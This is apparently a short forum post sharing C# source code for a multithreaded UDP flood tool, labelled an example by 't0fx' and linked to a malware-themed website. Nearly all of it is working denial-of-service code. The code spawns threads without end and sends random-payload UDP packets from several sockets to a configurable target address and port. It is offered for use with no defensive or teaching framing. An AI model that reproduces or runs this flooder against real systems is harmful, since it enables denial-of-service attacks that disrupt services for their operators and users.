Haven't tried but programaticaly it should work.
Code
// MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple by t0fx
// visit my website : http://www.malwares-in.net
// Give credits if you use this code, thanks
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Collections.Generic;
namespace UDPflooder
{
class Program
{
//Config
private static string DESTINATION_IP_ADDRESS = "127.0.0.1";
private static int DESTINATION_PORT = 80;
private static int UDP_THREADS = 100;
private static int UDP_SOCKETS = 5;
private static int UDP_DELAY = 1000; // loop every 1000ms
//End Config
private static void SendUDP()
{
System.Threading.Thread newThread;
newThread = new Thread(new ThreadStart(UDPsender));
newThread.Start();
}
public static void UDPsender()
{
IPAddress destinationIPaddress = IPAddress.Parse(DESTINATION_IP_ADDRESS);
IPEndPoint ep = new IPEndPoint(destinationIPaddress, DESTINATION_PORT);
Random rnd = new Random();
Byte[] b = new Byte[1470];
rnd.NextBytes(b);
for (int i = 0; i < UDP_SOCKETS; i++)
{
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
s.SendTo(b, ep);
Thread.Sleep(UDP_DELAY);
}
}
static void Main(string[] args)
{
while (true)
{
for (int i = 0; i < UDP_THREADS; i++)
{
SendUDP();
}
}
}
}
}


